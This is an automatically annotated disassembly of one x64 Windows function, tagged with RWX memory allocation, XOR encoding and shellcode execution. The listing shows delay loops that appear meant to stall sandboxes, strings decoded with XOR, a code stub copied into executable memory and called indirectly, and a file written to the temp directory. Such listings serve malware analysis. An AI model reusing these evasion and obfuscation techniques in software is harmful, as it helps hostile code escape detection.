Function at 0x1401f89b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1860]
mov eax, 0x1960
call fcn.14025eb00
sub rsp, rax
movaps xmmword [rsp + 0x1950], xmm6
movaps xmmword [rsp + 0x1940], xmm7
movaps xmmword [rsp + 0x1930], xmm8
movaps xmmword [rsp + 0x1920], xmm9
movaps xmmword [rsp + 0x1910], xmm10
movaps xmmword [rsp + 0x1900], xmm11
movaps xmmword [rsp + 0x18f0], xmm12
mov rax, qword [0x140280040]
xor rax, rsp
mov qword [rbp + 0x17e0], rax
mov r12, rdx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov dword [rsp + 0x48], edi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov r15d, 1
mov ecx, r15d
nop
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f8a60
mov dword [rbp + 0x240], 0x270
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6c
ja 0x1401f8acc
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6d
jb 0x1401f8ab0
shr rax, 0x20
lea r14d, [rax - 0x7ffffc19]
btc r14d, 0x1f
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov rcx, r15
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f8b00
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], edi
lea rcx, [rsp + 0x38]
call fcn.1401f3510
mov rsi, qword [rsp + 0x38]
add rsi, 0x5f5e100
lea rcx, [rsp + 0x38]
call fcn.1401f3510
cmp qword [rax], rsi
jge 0x1401f8cc6
mov edi, 0x186a0
nop
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f8b9a
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f8b80
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r15d
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f8bea
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f8bd0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f8c3a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f8c20
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f8c8a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f8c70
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r15
jne 0x1401f8b60
jmp 0x1401f8b46
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x40]
call fcn.14025e8e4
lea rsi, [0x140000000]
lea rax, [rsi + 0x26d80c]
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov dword [rsp + 0x48], 4
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0x88]
mov dword [rbp + rcx + 0x3c], r8d
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + 0x48], rax
xor edi, edi
mov qword [rbp + 0xb0], rdi
mov dword [rbp + 0xb8], 4
mov edx, r14d
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
movsd xmm0, qword [0x14026e8c8]
movsd qword [rsp + 0x38], xmm0
movzx eax, word [0x14026e8d0]
mov edx, 0x2e
mov word [rsp + 0x38], dx
xor word [rsp + 0x3a], 0x3d
xor word [rsp + 0x3c], 0x3f
xor word [rsp + 0x3e], 0x41
xor ax, 0x43
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x38]
call fcn.140239e00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rdi
mov r14d, 7
mov qword [rbp + 0x38], r14
mov word [rbp + 0x20], di
mov dword [rsp + 0x48], 0x14
mov ecx, dword [rbp + 0xb8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x1401f8e16
mov rax, qword [rbp + 0x88]
mov rdx, qword [rax]
test rdx, rdx
je 0x1401f8e16
mov rax, qword [rbp + 0x68]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0xb0]
cmovb rdx, qword [rbp + 0xb0]
sub rdx, r9
jmp 0x1401f8e44
test cl, 4
jne 0x1401f8e75
mov rax, qword [rbp + 0x80]
mov rcx, qword [rax]
test rcx, rcx
je 0x1401f8e75
mov rax, qword [rbp + 0x60]
mov r9, qword [rax]
mov rax, qword [rbp + 0x98]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
sar rdx, 1
test r9, r9
je 0x1401f8e75
lea rcx, [rbp + 0x20]
cmp rdx, r14
ja 0x1401f8e6f
mov qword [rbp + 0x30], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx + 0x20], di
jmp 0x1401f8e75
call fcn.14023b7c0
nop
mov edi, 0xc
mov dword [rsp + 0x30], 0x104
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
lea rax, [rbp + 0x1888]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x40], rbx
mov qword [rax], 0
xor ecx, ecx
lea r8, [0x14023a510]
mov rax, qword [0x1402860a0]
test rax, rax
je 0x1401f8ef9
xor edx, edx
nop word [rax + rax]
cmp rax, r8
je 0x1401f8ee8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2860a0]
test rax, rax
jne 0x1401f8ed0
jmp 0x1401f8ef9
mov r9, qword [rsi + rdx*8 + 0x286d60]
test r9, r9
jne 0x1401f8fdf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
lea r8, [0x14023a510]
test rax, rax
je 0x1401f8fbe
mov rax, r8
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f8f30
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140286708]
mov qword [rsi + rax*8 + 0x2860a0], r8
mov qword [rsi + rax*8 + 0x286d60], r9
inc rax
mov qword [0x140286708], rax
lea r8, [rbp + 0x15d0]
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [rbp - 0x40], rbx
lea rax, [rbp + 0x1888]
mov qword [rax], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rbp + 0x15d0]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x1401f9031
lea rdx, [rbp + 0x15d0]
lea rcx, [rbp - 0x20]
call fcn.14023bc20
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.140238670
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov word [rax], bx
or edi, 2
mov dword [rsp + 0x48], edi
lea rcx, [rbp - 0x20]
call fcn.140238600
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov rcx, r15
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f90b0
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x38]
call fcn.1401f3510
mov r15, qword [rsp + 0x38]
add r15, 0x5f5e100
mov r13d, 1
nop dword [rax]
lea rcx, [rsp + 0x38]
call fcn.1401f3510
cmp qword [rax], r15
jge 0x1401f9286
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f915a
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f9140
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r13d
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f91aa
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f9190
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f91fa
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f91e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f924a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f9230
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r13
jne 0x1401f9120
jmp 0x1401f9100
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x130]
call fcn.14025e8e4
lea rdx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rdx, qword [rbp]
lea rcx, [rbp + 0x130]
call fcn.1402380f0
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
cmp qword [rbp + 0x1b8], 0
mov r13, qword [rsp + 0x50]
xorps xmm0, xmm0
je 0x1401f9fa0
movups xmmword [rbp - 0x20], xmm0
xor r15d, r15d
mov ecx, r15d
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], r14
mov word [rbp - 0x20], r15w
mov rdx, r12
cmp qword [r12 + 0x18], 7
jbe 0x1401f932b
mov rdx, qword [r12]
mov r8, rdx
jmp 0x1401f932e
mov r8, r12
mov rbx, rdx
mov rax, qword [r12 + 0x10]
lea rdi, [r8 + rax*2]
cmp rdx, rdi
je 0x1401f93ef
mov r12d, 0x22
nop dword [rax]
movzx r9d, word [rbx]
cmp r9w, r12w
je 0x1401f938c
cmp rcx, r14
jae 0x1401f9381
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp r14, 7
cmova rax, qword [rbp - 0x20]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x1401f93d9
lea rcx, [rbp - 0x20]
call fcn.14023b630
jmp 0x1401f93d9
mov eax, dword [0x14026daa4]
mov dword [rsp + 0x30], eax
movzx eax, word [0x14026daa8]
mov word [rsp + 0x30], r12w
xor word [rsp + 0x32], 0x3d
xor ax, 0x3f
mov word [rsp + 0x34], ax
lea rax, [rsp + 0x30]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1401f93c0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.140236b70
add rbx, 2
cmp rbx, rdi
je 0x1401f93ef
mov r14, qword [rbp - 8]
mov rcx, qword [rbp - 0x10]
jmp 0x1401f9350
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov r14d, 1
mov ecx, r14d
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f9410
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], r15d
lea rcx, [rsp + 0x50]
call fcn.1401f3510
mov rsi, qword [rsp + 0x50]
add rsi, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x50]
call fcn.1401f3510
cmp qword [rax], rsi
jge 0x1401f95e6
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f94ba
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f94a0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r14d
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f950a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f94f0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f955a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f9540
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f95aa
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249d50
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f9590
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r14
jne 0x1401f9480
jmp 0x1401f9460
mov eax, dword [rsp + 0x30]
movups xmm0, xmmword [str.hXKa]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [str._shw]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x14026d8e0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x14026d8f0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x14026d900]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x14026d910]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x14026d918]
mov dword [rbp - 0x48], eax
mov r9d, r15d
mov ebx, dword [0x140280090]
cmp ebx, 2
jl 0x1401f981f
movdqa xmm8, xmmword [0x1402701a0]
movdqa xmm6, xmmword [0x1402702f0]
movdqa xmm7, xmmword [0x140270300]
movdqa xmm9, xmmword [str.ffffkkkk]
movdqa xmm10, xmmword [0x140270310]
movdqa xmm11, xmmword [str.________]
lea rcx, [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x1401f9690
cmp r9d, 0x2e
jge 0x1401f9884
movsxd rax, r9d
lea r10, [rsp + 0x60]
lea r10, [r10 + rax*2]
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
sub cx, r8w
add cx, r9w
add cx, cx
add cx, 0x3b
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x1401f9830
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x130]
call fcn.140239e00
movups xmm11, xmmword [0x14026d3c0]
movups xmmword [rbp - 0x40], xmm11
movq xmm12, qword [0x14026d3d0]
movq qword [rbp - 0x30], xmm12
mov eax, dword [0x14026d3d8]
mov dword [rbp - 0x28], eax
movzx eax, word [0x14026d3dc]
mov word [rbp - 0x24], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401f9b1e
movdqa xmm6, xmmword [0x1402702f0]
movdqa xmm7, xmmword [0x140270300]
movdqa xmm9, xmmword [str.ffffkkkk]
movdqa xmm8, xmmword [0x140270310]
movdqa xmm10, xmmword [str.________]
movdqa xmm5, xmmword [0x1402701a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x40], xmm3
movdqa xmm5, xmmword [0x1402701c0]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
psrad xmm4, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm8
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x38]
xorps xmm3, xmm1
movq qword [rbp - 0x38], xmm3
movdqa xmm5, xmmword [0x1402701e0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm12
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
mov r9d, 0xc
mov eax, r9d
lea r10, [rbp - 0x40]
lea r10, [r10 + rax*2]
nop dword [rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
sub cx, r8w
add cx, r9w
add cx, cx
add cx, 0x3b
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x1401f9b30
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x130]
call fcn.140239e00
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
